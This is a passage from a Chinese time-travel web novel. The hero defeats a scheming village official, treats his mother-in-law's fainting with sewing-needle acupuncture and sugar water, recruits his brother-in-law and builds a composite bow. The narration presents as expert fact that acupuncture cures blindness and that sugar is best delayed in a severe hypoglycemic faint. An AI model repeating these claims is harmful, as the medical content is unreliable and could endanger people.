“好哇!你这个畜生,我让你少结交那些不三不四的人,你非是不听!你看我怎么收拾你!”
李全福见势不对,当即换了一副大义灭亲的公允嘴脸。
抬起脚,猛踹在李贺身上。
“爹,你踹我干什么!”
李贺被踹翻在地,满脸懵圈,眼前的老爹,让他感到无比陌生。
李全福指着李贺,劈头盖脸骂道:“你这混账东西,还不知错!”
“跑到人家家里瞎胡闹,还跟宋大龙这种匪类结交,还嫌惹的祸不够大?”
“来福,来贵,还愣着做什么,赶快把这不肖子带回去,让他面壁思过,三天不准吃饭!”
两名家丁立即反应过来,这是李全福要保李贺。
否则薛猛若是闹到县衙去,以李贺今日之举和宋大龙的密切来往,那可就麻烦大了!
“公子,咱们快走吧!”
“我不走!爹,我不走!你今天一定要把薛猛给我抓起来!我咽不下这口气!”
李贺这蠢货,压根意会不到李全福的深意,甩开了两个家丁,还要耍混。
李全福气急败坏,连打带踹才把这个蠢儿子赶出去。
薛猛怎么可能看不穿李全福这点把戏?
不过,从今往后,李贺应该会消停一阵子了。
至少李全福不敢再让他瞎胡闹!
“李大人,没什么事儿的话,你可以走了!”
“哦对了,走之前,把八十两赏银给一下!”
“雅娴,送客!”
先前替薛猛揪着心的林雅娴,此时方才回过神来。
今天发生的事情,让她心里七上八下。
李贺上门要债五十两不成,反倒欠了薛猛八十两!
连往日老谋深算的李全福,都吃了瘪!
薛家灭门之局,被薛猛轻松化解!
自家这个叔叔,什么时候这么有手段了?
“不必送了!我自己走!”
李全福哼了一声,丢下一袋银子,带着几名差役气愤拂袖而去。
活了这么久,这还是他头回在白虎乡地界吃瘪!
而且还是栽在薛猛这个曾经什么也不是的废物手里,今日之耻,他日必要加倍奉还!
刚走出没几步,李全福忽然又想起什么,转过头来,对薛猛冷冷一笑:“哦对了,你快满二十了吧,有句话老夫得提醒你!”
“既然你现在成了猎户,又与你嫂子成了婚,明年查户,就必须报三个以上新丁!”
“若是报不上,可是要发配充军的!你好自为之吧!还有月底的公粮,猎户家也得多交三成!”
说完,李全福不怀好意地一笑,自认为扳回一局,带着人迈步出门。
听闻此言,村民们都替薛猛捏了把汗。
大虞律法规定,男十七,女十五,必须婚配,否则每年多收五成赋税。
若是到了二十岁,还未婚配诞下子女,无论男女,都会受到严惩。
寻常农户夫妻,生一个儿子就算完成任务!
而猎户家,则必须至少生三个儿子才算达标!
靠林雅娴一个肚子,怎么在这么短时间内,弄出三个娃来?
就算侥幸弄个三胞胎,这么多张嘴,也很难养活!
若是交不上公粮,报不够新丁,薛猛还是会落到他们手里,任由他们宰割!
李全福这老狐狸,真够狠的!
望着李全福气焰嚣张的背影,薛猛眼底闪过一抹杀意。
这是他穿越到这个世界,第一个和地主阶级交锋。
李全福这个老狐狸,已经被他加入了心中的“必杀榜”!
“哎!还是让李贺那个畜牲跑了!”
张家婶子满脸愤恨,忍不住哀叹一声,随即她扭头对薛猛安慰道:“长根儿,你也别担心,婶子这就去张罗,给你寻个好生养的小妾!”
“保证你明年能弄出三个大胖小子!不怕那李全福使坏!”
“婶子,好意心领了。”
薛猛搂住林雅娴的小腰,轻笑道:“但生娃这事儿,有我家娘子就够了!”
林雅娴闻言,心中一暖。
但随即又不免有些担忧。
一年生三个娃!
自己真能行?
要不,还是给长根儿纳妾吧!
“那行,长根儿,那咱们就先走了。”
张家婶子笑了笑,“你好好照顾你嫂……你娘子,她今天可被李贺那混蛋吓坏了。”
村民们正要散去,却被薛猛叫住:“大伙儿留步!”
“我这次进城,买了不少粮米和吃食,大伙儿都留下吃饭吧!”
“今天的事情,我还得好好感谢大家!”
若不是裴红玉和张婶带着人阻止了李贺,林雅娴估计就被李贺那畜生逼死了。
这份恩情,薛猛自然要报!
对仇人可以杀伐果断。
但对朋友,咱得有情有义!
朋友越来越多,路才好走嘛!
一听说有饭吃,村民们笑得合不拢嘴。
没有不念薛猛好的!
吃过饭,薛猛记住了饭桌上每一张脸。
日后自己办酒坊或是做其他生意,需要不少人手!
与其去外面找人,不如拉一把这些朴实真诚的村民!
……
夜幕降临。
夫妻间自然少不了一番温存。
事后,林雅娴和薛猛背靠背,躺在一个被窝里。
夫妻二人心思各异。
白天,张家婶子说要给薛猛张罗纳妾!
薛猛婉拒了。
但,徐守业又要自己纳徐瑾儿为妾,而且态度还很强硬,这让薛猛很是纠结。
作为一个男人,谁不想三妻四妾?
可林雅娴心里该怎么想呢?
薛猛纠结不已,不知道该怎么跟林雅娴说。
“长根儿,要不……你还是纳个妾吧?”
啊?
薛猛闻言一怔。
“雅娴,你说啥?”
“咱们这才刚成亲,你又要我纳妾?你在说笑吧?”
林雅娴转过身,一双明亮美眸注视着薛猛的眼睛,语气真挚:“我没跟你开玩笑……”
“如今你已是猎户,明年官府查户,咱们家若是报不上三个新丁,肯定会被李全福使绊子!”
“你不纳妾,难道指望我一个人给你生三个?”
“为了咱们这个家,你必须得纳妾,而且越早越好,最好是多纳几个!”
“只有这样,才能确保明年能够造出三个小长根儿!”
没想到温柔如水的林雅娴,嘴里居然能说出这么生猛的话,薛猛一个大老爷们,听得鸡皮疙瘩都起来了。
得,自己这回真成牲口了!
每天不光要想着搞钱,还得使劲儿造娃!
“雅娴,那我不成牲口了?”
林雅娴害羞地依偎在薛猛怀里,把头埋在薛猛胸口,像只娇羞的小猫,轻轻打了他一下:“哼,你本来就是牲口。”
看着自家娘子这娇羞的小模样,薛猛顿时血脉偾张,搂住林雅娴小腰的手掌,不由自主向下滑去。
“行啦!刚折腾了半个时辰还没够?”
“早点睡吧,明儿还得早起回娘家呢!”
林雅娴精准捉住薛猛不老实的手,欠身吹灭了床头的油灯。
如今薛猛卖了马鹿,赚到钱,也是该把丈母娘和小姨子接过来一起住了!
“行,睡觉!”
薛猛搂住林雅娴,闻着她身上的女人温香,沉沉睡去……
第20章 低血糖
砰砰砰!
晨雾弥漫,距离卧虎村不远的青牛村。
薛猛手里拎着给丈母娘的见面礼,站在林雅娴娘家门前,敲了敲房门。
不多时,脚步声响起,紧跟着房门从里面打开一条缝。
露出一张五官与林雅娴颇有几分相似的瓜子小脸。
一双水润杏眸,猫在门框后,怯生生打量着薛猛。
“小鱼,谁啊?”
“是你大哥、二姐回来了吗?”
紧跟着,一个和张婶岁数差不多,眼窝深陷的瞎女人,颤巍巍地从屋里走了出来。
看见这瞎眼女人,薛猛脑海里顿时浮现出相关记忆。
赵氏,林雅娴的娘,也就是自己的丈母娘。
而那个迷你版林雅娴,显然就是小姨子林雅鱼了。
“娘,我是薛猛,我来看你老人家了!”薛猛笑道。
“啊?是你?!”
赵氏闻言,脸上顿时流露出惊惧之色,急忙对林小鱼说道:“小鱼,赶快把门关上!别让这个畜牲进来!”
“???”
砰!
房门紧闭,薛猛傻眼了。
心说这他喵什么情况?
我难道是什么很恐怖的人吗?
吐槽归吐槽,但对方是林雅娴的娘,薛猛只能耐着性子,再次敲门:“丈母娘,咱们之间是不是有什么误会啊?”
回应他的,却是赵氏劈头盖脸的谩骂:“你这个畜牲,乱叫什么!谁是你丈母娘?”
“娘,我没得罪过您吧,你何必这么骂我?”
若是换了别人,一口一个畜牲,薛猛早就两个大耳刮子扇过去了。
但对待丈母娘,薛猛只能耐着性子,想要弄明白赵氏为什么对他意见这么大。
却听赵氏咬牙切齿道:“我都听卧虎村的宋大芬说了,你这混账连自己亲嫂子都欺负,你不是畜牲是什么?”
“我赵氏是眼瞎,但我心可不瞎!”
“别以为我不知道,这些年你不学无术,把薛家祖业全给败个精光。”
“要不是你嫂子偷偷接济你,你早就饿死了!”
“可怜我那亲家和亲家母,辛辛苦苦一辈子,好不容易攒下几分薄产,全败在了你这不肖子孙手里!”
“现如今,你年及弱冠,娶不上媳妇儿知道着急了?竟敢打起你嫂子的主意!等我家大强回来,看我怎么让他收拾你!”
宋大芬?!
薛猛闻言,暗自咬牙,这宋大芬真不是东西!
打不过薛猛,居然就跑来挑拨林雅娴娘家和薛猛的关系!
薛猛连忙解释道:“娘,你千万别听那宋大芬胡说八道!我跟嫂子是两情相悦,何来欺负她的说法?”
“嫂子守寡这么多年,也需要个男人心疼不是?你也不希望你女儿,守一辈子寡吧?”
“我和雅娴在衙门登记了婚契,如今我们已是合法的夫妻!我是来接你们回家享清福的!”
“呸!少跟我花言巧语!”
赵氏态度坚决,义正辞严:“我告诉你,只要我赵氏还活着,我就决不同意你和雅娴这门婚事!”
“你若有你大哥薛勇一半人品和能耐,我也不说什么,但你是什么人,我赵氏可是一清二楚!”
“我绝不会眼睁睁看着我大女儿跳进火坑!”
还他喵眼睁睁……就你那眼睛,能睁开吗?
薛猛心中吐槽,但却又无可奈何。
“长根儿,怎么了?”林雅娴走了过来。
薛猛扭头对后面跟来的林雅娴说道:“娘子,你娘不让我进门。”
林雅娴上前,拍了拍门。
“娘!”
“你先把门打开,我是雅娴!”
“娘……奇怪,娘怎么不说话了?”
林雅娴一连叫了几声,屋内都没有回应。
突然,屋内响起林小鱼无助的啼哭声。
“小鱼,你哭什么,娘怎么了?”
林雅娴意识到不对劲,连忙拍门。
下一刻,林小鱼打开了院门,一双大眼睛泪汪汪:“二姐,娘的怪病又犯了。”
“啊?”
林雅娴慌忙冲进屋里,薛猛也跟了进去。
只见林雅娴老娘赵氏,面色苍白,浑身冒虚汗,倒在地上,不省人事。
“娘,你别吓我,快醒醒!”
林雅娴将赵氏瘦弱的身躯搂在怀里,急得泪水吧嗒往下掉。
薛猛蹲下身,拿起赵氏的手腕,轻轻搭脉。
脉搏细速,手脚冰凉。
再一看这惨白的脸色。
哪里是什么怪病,分明是低血糖犯了。
“雅娴,你赶快把咱们拿来的黑糖,拿去煮一碗糖水来!”
“再多拿几根绣花针,也用沸水煮一煮!有了糖水和绣花针,我就能治好你娘!”
林雅娴听得满头雾水,这糖水和绣花针和救人有什么关系?
娘这怪病,也不是一天两天,隔三差五就犯。
请了不少郎中,都说不出个所以然!
靠糖水和绣花针能治?!
但见薛猛眼神笃定,林雅娴决定相信他,起身去灶房煮糖水。
不多时,林雅娴拿着煮好的绣花针,端着一碗黑糖水,急匆匆从灶房走了出来。
“行,糖水先放那儿晾一会儿,针给我!”
从林雅娴手里接过煮沸杀菌过的绣花针,薛猛开始给赵氏施针。
先是斜刺鼻下人中穴,用雀啄法提拉捻转绣花针,反复刺激经络,通利心窍,开窍醒神。
紧接着直刺手腕内关穴,宁心安神,益气固脱。
配以脚底涌泉穴,激发肾气,提升阳气。
几个瞬息间,薛猛便施针完毕。
从脸到脚,都给赵氏扎上了针!
这一幕,看得林小鱼和林雅娴姐妹俩,心惊肉跳,完全不知道薛猛在干什么。
“你这个疯子,在对俺娘干什么!”
一个大嗓门突兀响起,一个黑脸大汉扛着锄头冲了进来。
林大强一进门就看见薛猛居然用绣花针在自己亲娘身上乱扎乱刺,顿时气得吹胡子瞪眼,挥起锄头,就要教训薛猛。
“大哥,不要!”
林雅娴尖叫出声。
就在这时,堪称奇迹的一幕发生了。
在薛猛反复提捻的针灸刺激之下。
原本昏迷不醒的赵氏,微微拧眉,睫毛轻颤,已然有了苏醒的迹象。
薛猛对着针尾屈指一弹,只听“嗡”的一声轻响,绣花针颤动了起来。
这是针灸常见的醒针手法!
醒针带来的强烈酸胀感,可以从一处穴位,瞬间贯穿整条经脉。
赵氏显然是感受到了这强烈的气感,猛然睁开眼来。
瞎了多年眼睛居然能看见林大强的锄头将要朝薛猛头顶落下,口中忍不住大喊一声:“大黑住手!”
随着赵氏一声大吼,林大强顿时像被使了定身法,手中的锄头,悬停于薛猛头顶二寸不到的距离。
双目因极度惊愕,瞳孔震动。
“娘!你的眼睛和怪病好了?!”
林大强撇下手中的锄头,满脸震惊,难以置信地看着苏醒的赵氏。
“雅娴,快给娘喝糖水!她这不是怪病,是低血糖导致的昏厥。她的眼睛,也是长期营养不良肝肾亏虚所致。”
赵氏的低血糖显然有些严重,所以薛猛并没有马上给她喝糖水。
而是通过针灸刺激穴位,让她的身体气血得到初步调节,这个时候再喝糖水,才能有效吸收。
“好,娘,快喝糖水!”
林大强连忙上前扶起赵氏,林雅娴则端起糖水,小心翼翼喂给赵氏喝。
喝完糖水,赵氏身上暖乎乎的,舒服极了。
“呼……老身这条命,可算捡回来了。”
就在刚才,赵氏感觉自己一只脚都迈进鬼门关了。
没曾想薛猛一根绣花针扎了下来,一股强烈的酸麻胀痛之感,硬生生让她恢复了意识,将她从阎王爷手里拽了回来……
定了定心神,赵氏长舒一口气,转眸看向薛猛。
老眸之中,眼神复杂。
先前她把薛猛骂的狗血淋头,不许他进自己家门。
没想到到了要命的时候,居然是薛猛救了她!
还让她重见光明!
或许,这孩子没有别人嘴里说的那么坏?
赵氏叹了口气,不知道该怎么面对薛猛。
“娘,你的病没什么大碍了,以后若是感觉头晕,就赶紧吃些糖水。”薛猛嘱咐道。
“你不待见我,我不怪你,我薛猛以前是干了不少混账事,名声不好。”
“但如今我和雅娴是真心相爱,你不认我这个女婿,但我要认你这个丈母娘!”
“这是女婿孝敬你老人家的,布匹、糖、盐巴、粮米,还有这些银子。你不愿跟我们住一起,我以后再来看你,我就不在这儿给你添堵了,我走啦!”
见赵氏已无大碍,薛猛留下银子和东西,说完,转身迈步出门。
人家不待见自己,还留这儿干啥?
看见桌子上白花花的银子和大包小包的见面礼。
林大强两眼一瞪,林小鱼小嘴微张,赵氏则是急得连声大叫:“女婿!女婿你别走哇!”
“娘待见你!之前是娘错怪你了!娘同意你和雅娴的婚事!”
“大强,快,快把你妹夫追回来!!”
这又是送钱,又是送粮送布。
还救了自己的命!
这么好的女婿,在白虎乡打着灯笼都难找啊!
林大强愣了一下,反应过来后,连忙朝薛猛追了上去。
“妹夫!大舅哥给你道歉!”
“大舅哥不该对你那样!”
第21章 这帐不能细算
晌午,林家小院内,炊烟袅袅,饭菜飘香。
与之前不同,今天的饭桌上,多添了一副碗筷。
赵氏坐在上席,薛猛和林雅娴两侧相对而坐,林小鱼和林大强同坐下席。
刚落座,赵氏便对薛猛开口道:“长根儿啊,先前是娘勿听谗言,误会你了。”
“你别往心里去,你的事情,我都听雅娴说了。”
经过林雅娴的悉心解释,赵氏已经得知薛猛如今改过自新,不仅体贴疼人,还会打猎养家。
而且最开始,也是林雅娴主动提出要给薛猛延续血脉,并非薛猛欺负林雅娴。
赵氏先前不同意薛猛和林雅娴婚事,是怕大女儿跟着他受苦。
现在薛猛这么有本事,女儿跟着他也就放心了。
“娘,一家人不说两家话,过去的就让他过去吧,咱吃饭!”
薛猛也是拿得起放得下的主儿,堂堂七尺男儿,何必跟一个四十岁的老太太计较呢。
更何况,这还是自己丈母娘。
“姐夫,这些菜菜好香呀!我从来没有见过!”
看着满桌子从来没见过的饭菜,林小鱼两眼冒光,嘴角眼泪都快淌了出来。
林大强其实也很馋,但是当着妹夫的面,他不能跌份儿,只能故作淡定,其实口水已经偷偷咽了好几回了。
桌上除了刚蒸好的白米饭之外,还有薛猛特地从城里买回来的熟食。
“这是糖蒸果子,是用桃杏蒸熟,加蜂蜜做成的,城里的大户千金,都爱吃这个。”
“这是卧龙鲊,是用黑猪五花肉裹上米粉上锅蒸熟的,肥而不腻,入口即化,下酒一绝啊!”
“……”
随着薛猛一样样介绍,赵氏心疼坏了:“贤婿呀,这么多菜,得花多少钱呐?你和雅娴刚成亲,以后花钱的地方还多着呢。”
“娘,这算什么?敞开了吃!”
“吃完,我带你们回家,以后咱们一起住,天天吃肉!”
薛猛此言一出,林大强手一抖,筷子“啪嗒”一下掉落在地。
“大哥,你怎么了?”林雅娴看向林大强,关心道。
“没,没什么,就是手抖了一下。”
天天吃肉!
林大强感觉自己像在做梦。
妹夫太牛叉,他这个大舅哥压力山大啊!
这顿家宴,比往常过年还要丰盛。
又是大米饭,又是甜点,又是肉。
随便挑出一样,都是大家以前做梦都梦不到的美味。
尤其是那碗糖蒸果子,甜甜润润的,压根儿没有小姑娘能够抵挡住诱惑。
林小鱼吃得小嘴油腻腻的,撑得都快走不动道了。
就连一向淑女的林雅娴,也是吃得忘了形象管理。
只有林大强,心不在焉,时不时抬眼偷瞥薛猛。
心想着,娘和两个妹子,以后要跟着薛猛去过好日子了。
自己这个大舅哥,不就成了孤家寡人了?
林大强想跟薛猛讨个差事,也跟着去薛家,哪怕看大门儿也好哇,可就是不知道该怎么开口。
饭菜吃得差不多了,赵氏让林雅娴从灶房提来一壶开水,把碗涮了一遍,连着里面的油星子都给喝了。
就连桌缝里掉的米粒,都要弄出来吃干抹净。
薛猛摇头一叹。
这个世界的菜品,烹饪方式都比较原始粗糙,多是蒸煮或者凉拌,而且调味料单一。
大米里面也时不时能吃到碎石子和稻壳。
虽然和前几天吃的那些野菜粟米之类的东西相比起来,已经算是美味佳肴了。
但那时候,他是真饿了,所以吃啥都香。
现在,温饱问题基本解决。
薛猛开始无比想念前世的各种炒菜!
想做炒菜,得先有铁锅才行,但这个世界并没有铁锅,寻常百姓只用瓦罐、陶釜,权贵家中用的则是青铜鼎。
铁锅厚度只有1到3毫米,对铸造精度要求很高,且需要满足韧性和耐高温的需求。
大虞目前的冶炼水平还停留在块炼铁的阶段,炼出的铁含碳量高,质地硬脆,只能锻打一些农具和兵器,做成铁锅很容易开裂。
想要造铁锅,就需要提升冶炼技术。
若是能够炼出优质铁,不仅能造铁锅,还能造铁胎弓,总之一本万利!
“回头画个图纸,让白叔他们试试改进冶炼技术。”
薛猛心中正盘算着,却听林大强神神秘秘凑近他耳边说道:“妹夫,那个……你吃好了吧?能不能出来一下,俺跟你说个事儿。”
“大舅哥,你怎么还见外呢?有什么事情,就在这儿说呗!”
“那什么,俺……”
林大强低着头,扭扭捏捏,有些不好意思说出口。
“大强,走啦!上工了!误了时辰,当心拿不到工钱!”
门外,响起一个喊声。
林大强抬头往外看了眼,又回头看了看薛猛:“妹夫,你等我上工回来,再给你细说!”
林大强前脚要走,却被薛猛叫住:“大舅哥,先别急!”
“我听娘说,你是在给李庄做长工,开荒种桑是吧?”
林大强点点头。
“李庄给多少工钱呐?”
薛猛问道。
林大强苦笑:“种十棵桑树,算一个铜板工钱!我一天能种五十棵,能拿五个铜板!有时候李家有吃剩的酒菜,咱们长工还能分些折箩。”
一天种五十棵,才五文钱?
难怪林大强皮肤这么黑,全是太阳给晒的!
薛猛闻言,摇头一叹:“遍身绮罗者,不是养蚕人呐!”
“五十棵桑树,一年怎么也得出两百斤桑叶,这么多桑叶养出的蚕,吐出的丝,织成的绢布,最差的一匹就要卖五百文!”
“你算算,你要给李庄种多少桑树,才能买得起一匹最差的绢布?”
薛猛这番话一出口,顿时把林大强问住了。
他以前,只知道埋头干活,靠自己的双手挣钱养家,可从来没有想过这些问题!
只要他和妹子一天不干活,一家人就会饿肚子。
他从来没有时间,去想那些更深层次的问题。
而现在,薛猛一番话,却是让林大强的脑子飞速运转起来。
“我算算啊,就算我每天拼了命的干活,也最多只能种五十棵桑树,也就是每天五文工钱。”
“要买一匹五百文的绢布,需要不吃不喝干上三个多月!”
“但是,种桑树的工期,最多也就还剩一个月。”
“我就算把命豁出去,也不可能买得起绢布。”
算完这笔账,林大强眼圈一红,心中满是悲凉、辛酸,五味杂陈。
这帐不算还好。
一算,心里拔凉拔凉啊!
第22章 制作竹胎复合弓
“妹夫,俺这辈子,是不是再怎么努力,再怎么勤快,也注定没办法改变什么?”
“以前,俺以为只要自己足够勤快,家人就会过得更好。”
“可现在却发现,俺是不是真的错了?”
听到这些问题,薛猛欣慰地点了点头。
没看出来,林大强觉悟还挺高啊!
自己只是随便点拨了几句,他就有了点觉醒的意思了。
“大舅哥,勤奋本没有错。”
薛猛拍了拍林大强宽厚的肩膀,一语道破矛盾的根源:“只可惜劳动人民通过勤奋劳动创造的劳动成果,最终没有落到劳动人民手里,而是被其他的人截取了!”
“那俺到底该怎么办?”
林大强抬起泪眼,想要从薛猛这里得到答案。
薛猛想了想,最后只用了八个字来回答。
“自己动手,丰衣足食!”
“不给任何地主豪绅当牛马,咱们一家人携起手来,自己干出一番事业来!”
“自己动手…”
“丰衣足食?!”
薛猛的这句话,让林大强内心大受震撼。
他没念过什么书,高深的话听不懂。
但薛猛这简简单单的一句话,却给他一种拨开云雾见光明的豁达豪迈之感!
“世上无难事,只要肯攀登!大舅哥,以后你就别跟李庄干了!跟着我一起进山打猎,咱们家的好日子还在后头呢!”
薛猛随口一句话,让林大强再次震惊不已。
世上无难事,只要肯攀登…!
这是何等豪迈的话语?!
“长根儿,你这些话,是从圣贤书上学来的吗?”
就连一旁的林雅娴,也是美眸惊颤,忍不住好奇问道。
“呵呵,圣贤书上,可不敢写这些东西。”
薛猛神秘一笑。
“妹夫,有你这句话俺就放心了!老子不给李庄卖命了!俺以后跟着你干!你让俺往东,俺绝不往西!”
林大强丢下手里的锄头,紧紧握住了薛猛的手,激动得双手颤抖,涕泗横流。
看见这皆大欢喜的一幕。
赵氏和林小鱼会心一笑。
林雅娴眼睛眯得像月牙,眼里闪着光,看着薛猛的背影,充满对自家男人的欣赏和崇拜。
往后这日子,越来越有盼头了!
“驾!”
林大强满脸笑容,挥舞鞭子,赶着骡车朝卧虎村方向奔去。
而薛猛和林雅娴、林小鱼、赵氏,则坐在骡车后,有说有笑,欣赏着沿途的绿水青山。
“大强,你上哪儿去?不上工了?”
半路上,正巧路过李家桑园,林大强的工友叫住林大强。
“不上了!俺以后跟俺妹夫混了!你们以后要是混不下去,也可以来卧虎村投靠我妹夫!”
林大强哈哈大笑,心里那叫一个痛快!
“妹夫,咱们啥时候进山打猎呀?”
刚回到卧虎村,林大强就迫不及待对薛猛问道。
薛猛轻笑:“大舅哥,这事儿急不得。你先安安心心歇一阵儿,等我把打猎的工具做好,咱们再进山打猎。”
狼牙箭头还没送来。
竹胎复合弓也还没做。
薛猛暂时不打算进山了。
打猎太频繁,山里的猎物也不傻,会被吓跑的!
更何况,手里的家伙什也不够,真遇上山里猛兽还真不好对付。
“那总得让我干点啥吧?”
林大强是真闲不住,让他天天白吃干饭不干活儿,比杀了他还难受。
他可不想成为薛猛的累赘。
“这样吧,大舅哥,咱家这院子年久失修,不少地方都漏雨,你要是实在想干点活,就帮着补补吧!”
“泥瓦匠是吧?行啊,这活儿我干过!”
有了活干,林大强顿时喜笑颜开,马上就着手去修缮房子了。
“娘,你和小鱼暂时睡偏房,大舅哥呢,就委屈他先把柴房腾出来住一段时间。”
听了薛猛的安排,赵氏满意点头:“行,都依你!”
林小鱼在薛家院子里来回奔跑,像只小蝴蝶:“姐夫,你家院子,可比我家大多了。”
看着小丫头天真活泼的样子,薛猛笑了笑。
那倒是,再怎么说薛家以前在卧虎村也算是富裕家庭。
只可惜被前身败光了家产,只剩下这间院子还算凑合。
修缮修缮,也能住!
等以后多赚些钱,买块地,修个大房子!
一想到以后的生活,薛猛顿时干劲满满。
“雅娴,我买的那五匹蜀锦,你可以拿着做几身衣服,咱现在不缺钱了,也得享受享受,穿好一点!”
赚钱为了啥?
不就是为了让家人过上好日子吗!
林雅娴知道蜀锦肯定不便宜,有些心疼,但薛猛既然这么说了,她也只能照办。
当天下午。
薛猛托人弄来了石锁、木人桩。
如今好不容易有了闲暇时间,他得好好锻炼锻炼这具身体。
又是打猎、又是造娃,全是体力活,不锻炼的话迟早得废!
薛家小院,迎来了难得的安宁和睦。
林大强在屋顶上修缮房顶,房檐下,赵氏在帮林雅娴理线团,林雅娴在缝制衣服。
林小鱼在院子里看薛猛举石锁,扎马步,时不时鼓掌叫好。
一家人和乐融融,各司其职。
锻炼了一个下午,薛猛感觉浑身肌肉都在燃烧。
吃晚饭的时候,他一连吃了三大海碗米饭,两斤肉,七八个鸡蛋。
把林大强、林小鱼、林雅娴、赵氏全看呆了。
吃过晚饭,薛猛开始着手制作竹胎复合弓。
所谓竹胎复合弓,和现代复合弓完全是两回事。
竹胎复合弓是以干燥的楠竹为弓胎,辅以桑木制作成弓身。
内侧贴有牛筋增强弹力。
外侧贴水牛角片抵抗张力。
再用鱼胶粘合,形成“复合”结构,能够承受更大的拉力。
其优点是比单体木弓弹力更强,射程更远。
而现代复合弓,则是采用铝合金、碳纤维、玻璃纤维等高强度复合材料,通过模具压制而成,并且有偏心轮辅助省力。
为什么薛猛不在竹胎复合弓上加偏心轮?
答案是做不到。
现代复合弓的偏心轮,用的是铝合金、钛合金,或者高强度工程塑料。
这些材料,在这个时代根本造不出来。
就算搞定材料,但要制造出偏心轮,还需要依赖数控机床、模具压铸等精密设备。
在这个老百姓连饭都吃不饱的农业社会,上哪儿弄数控机床?
别说现代复合弓了,就是制作一张竹胎复合弓,也得花上几个月时间才能完工。
好在薛猛偷了个懒,在县里买了一张现成的竹胎弓,只需要在这把弓的基础之上,加上桑木加固握把和弓梢。
再在弓胎内外侧贴上牛筋和牛角片,配上鹿筋弓弦,就可以将一把普通单体竹弓,升级为竹胎复合弓。
“长根儿,天不早了,歇了吧!”
不知不觉天已经黑透。
看着薛猛点着油灯,还在忙活,林雅娴柳眉轻皱,目露隐忧,她真怕薛猛累坏身子!
“雅娴,你先睡吧,我还不困。”
薛猛想好了。
等把竹胎复合弓做好,自己就用复合弓,原来那把桑木反曲弓,就可以给大舅哥林大强用。
“长根儿,奴家做了新肚兜,你确定不进来看一下?”
见薛猛还不肯休息,林雅娴倚在卧房门边,柔声魅惑道。
薛猛一扭头,就看见林雅娴身上只穿着蜀锦做成的红肚兜。
雪白的小腰和大腿,就这么露在外面!
薛猛虎目圆瞪,手里的竹胎复合弓,顿时就不香了。
弓随时可以做,但……佳人怎可辜负?
夜幕降临,为了生计奔忙一天的卧虎村村民,陆续归家。
喧嚣的村子,逐渐归于平静,唯有蛙声虫鸣还在浅吟低唱。
没有手机,没有短视频,没有网络小说。
漫漫长夜,何其难熬。
有老婆的玩老婆,没老婆的只能玩自己。
因此除了蛙声虫鸣,偶尔还会有人家传出几声少儿不宜的小调。
宋大芬家的小调,短而快,转瞬即逝。
寻常人家的小调,最多也就十多分钟,平平无奇。
而薛猛家的小调,却是层层递进,高潮迭起,一波未平,一波又起!
光是让人听见,就热血沸腾,自愧不如。
“老李,你听听隔壁长根儿那动静,那才叫爷们儿呢!你到底行不行啊。”
“我都多大岁数呢,能跟那牲口比吗?”
“他连大雁都能射下来,我能射那么远?”
一夜之间,不知道多少夫妻,因为薛猛吵架。
柴房里,林大强用枕头捂住脑袋,在床板上辗转反侧:“老天爷,二妹这得遭老罪了!”
翌日清晨,薛家门前桃树上,紧闭一夜的花苞,倏然绽放。
林雅娴扶着墙出了卧房,嗓子哑了,大腿根儿也是火辣辣的疼。
而薛猛早就起了,跟没事人一样坐在院子里,埋头继续打磨竹弓的握把。
“雅娴,你醒啦?我饿了,随便煮两斤米当早饭吃吧!”
第23章 薛猛食量惊人
啊?
煮两斤米,当早饭?!
林雅娴听傻了。
“长根儿,什么是早饭?”
见林雅娴没听懂自己的意思,薛猛这才想起。
大虞没有早饭这个说法!
卧虎村的村民,通常每天只吃一顿饭,一般都是上午九点的时候吃,叫做“朝食”。
条件好些的,下午还会吃一顿“餔食”。
为了节省柴火,通常只有朝食吃热的,餔食则是吃剩下的冷饭。
这样的饮食习惯,导致大虞百姓平均寿命只有四五十岁。
作为一个吃惯一日三餐的现代人,薛猛实在忍受不了这种饮食规律。
而且现在每天都要锻炼身体,消耗的能量越来越多了。
不吃饱,心里就发慌。
哪还有精力造娃打猎?
“早饭就是早上吃的饭。”
“咱们家以后,一天吃三顿,早上一顿,中午一顿,晚上一顿!”
“每顿都吃热的!”
薛猛此言一出,刚起床的林小鱼小嘴大张,林雅娴则是面露难色。
每天吃三顿,顿顿吃热的。
这得多烧多少柴?
吃多少米?
柴米油盐,排名第一的就是柴,在古代社会,柴可是硬通货!
别看卧虎山里那么多树,但那都是属于大户和官府的,村民不能擅自砍伐,只能捡地上自然掉落的树枝。
夏天的时候大家能吃冷的,就绝不吃热的,就为了把柴攒到冬天用。
但薛猛是一家之主,他的话,林雅娴不能不听。
“那行吧,我去烧火做饭。”
见林雅娴进了灶房,林小鱼拽着薛猛衣角,声音软糯可爱:“姐夫姐夫,我想玩骑大马!”
“好啊!”
薛猛伸手捏了捏林小鱼嫩乎乎的脸蛋,反手将林小鱼扛在脖子上。
带着林小鱼在院子里来回跑。
“哦!骑大马咯!”
林小鱼高兴得合不拢嘴。
林雅娴烧好饭菜,看见林小鱼和薛猛玩得不亦乐乎,眯眼笑道:“好啦小鱼,快从姐夫身上下来!长根儿,洗洗手准备吃饭了!”
吃过早饭,薛猛开始着手修剪牛角片。
一直忙活到中午,才总算把改造竹胎复合弓的所有配件全部处理完毕。
但问题的,如何将这些材料黏合在一起?
先前那把桑木反曲弓是单体弓,需要黏合的地方不多,薛猛直接从松树树干上收集树脂,熬化了作为黏合剂。
但竹胎复合弓,是多层复合结构,必须用黏性更强韧性更好的黏合剂,否则使用的时候把弓拉散了就白瞎了。
在这个时代,是没有工业胶水的,黏合剂无非就是植物胶和动物胶两种。
植物胶也就是树脂,粘性弱于动物胶。
动物胶中又以深海鱼胶为最佳。
蜀郡离海远着呢,深海鱼肯定是搞不到了,只能用淡水鱼替代。
淡水鱼胶虽然比不上深海鱼胶,但也比松树脂强多了!
正好卧虎山下的沧浪河,连着岷江,水质优越,渔产丰富。
鱼虾也几乎成了卧虎村村民为数不多的肉食来源。
只不过因为近年来捕捞得太过频繁,大鱼全都躲在很深的位置。
据说曾经有人为了抓大鱼冒然下水,被漩涡暗流卷进去,尸骨无存。
得想个法子,让大鱼主动自投罗网才行。
“大舅哥,有活儿干了!”
薛猛扛起两把锄头,朝柴房里招呼了一声。
林大强一听有活干了,下意识以为是要去打猎,乐得不行,连忙跟薛猛出了门。
薛猛带着林大强来到村头一块长满杂草的土坡。
抡起锄头,连根挖起一窝杂草,抖干净多余泥土,随手丢进旁边的竹篮。
